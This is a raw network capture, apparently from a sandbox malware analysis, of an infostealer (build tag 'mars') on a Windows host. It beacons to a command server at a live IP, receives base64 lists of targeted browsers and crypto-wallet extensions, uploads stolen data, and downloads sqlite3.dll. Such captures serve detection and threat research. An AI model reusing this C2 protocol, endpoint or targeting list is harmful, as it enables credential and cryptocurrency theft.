Nov 17, 2024 12:35:42.963901043 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 12:35:42.963901043 CET	1.1.1.1	192.168.2.5	0x6de8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	185.215.113.206	80	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 12:35:05.777949095 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 12:35:06.693522930 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:06.697535992 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 42 32 35 41 43 34 33 44 31 42 31 34 31 30 32 37 37 36 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="hwid"1AB25AC43D1B1410277619------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="build"mars------JDGIECGIEBKJJJJKEGHJ--
Nov 17, 2024 12:35:06.990515947 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 6b 32 4d 6d 51 32 5a 57 45 33 5a 6d 56 6c 4e 6d 51 78 4e 6a 4d 7a 4f 44 68 6c 4d 6d 51 7a 4f 57 59 77 5a 44 6c 6d 4f 54 4a 69 5a 47 4a 68 4d 57 59 7a 4d 7a 67 33 59 32 4a 68 4e 6d 45 78 4d 57 45 35 4e 6d 55 32 4d 57 5a 6b 5a 57 59 7a 4e 44 64 6b 4e 44 4a 6b 4e 32 49 32 4e 54 68 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTk2MmQ2ZWE3ZmVlNmQxNjMzODhlMmQzOWYwZDlmOTJiZGJhMWYzMzg3Y2JhNmExMWE5NmU2MWZkZWYzNDdkNDJkN2I2NThlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 17, 2024 12:35:06.991839886 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"browsers------DHJDAKEGDBFHCAAKJJJD--
Nov 17, 2024 12:35:07.273351908 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 17, 2024 12:35:07.273539066 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 17, 2024 12:35:07.312287092 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 47 2d 2d 0d 0a Data Ascii: ------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------FHCGHJDBFIIDGDHIJDBGContent-Disposition: form-data; name="message"plugins------FHCGHJDBFIIDGDHIJDBG--
Nov 17, 2024 12:35:07.594297886 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 17, 2024 12:35:07.594369888 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Nov 17, 2024 12:35:07.594400883 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 17, 2024 12:35:07.594455004 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Nov 17, 2024 12:35:07.594491005 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Nov 17, 2024 12:35:07.594546080 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Nov 17, 2024 12:35:07.594579935 CET	848	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Nov 17, 2024 12:35:07.595135927 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 17, 2024 12:35:07.597484112 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 65 61 37 66 65 65 36 64 31 36 33 33 38 38 65 32 64 33 39 66 30 64 39 66 39 32 62 64 62 61 31 66 33 33 38 37 63 62 61 36 61 31 31 61 39 36 65 36 31 66 64 65 66 33 34 37 64 34 32 64 37 62 36 35 38 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="message"fplugins------ECGDBAEHIJKKFHIEGCBG--
Nov 17, 2024 12:35:07.877512932 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 17, 2024 12:35:07.899136066 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGH Host: 185.215.113.206 Content-Length: 6215 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 12:35:07.899136066 CET	6215	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 36 32 64 36 Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"e962d6ea7fee6d163388e2d39f0d9f92bdba1f3387cba6a11a96e61fdef347d42d7b658e------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 17, 2024 12:35:08.699331999 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 12:35:09.007409096 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 12:35:09.286288023 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 17, 2024 12:35:09.286304951 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49730	185.215.113.206	80	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
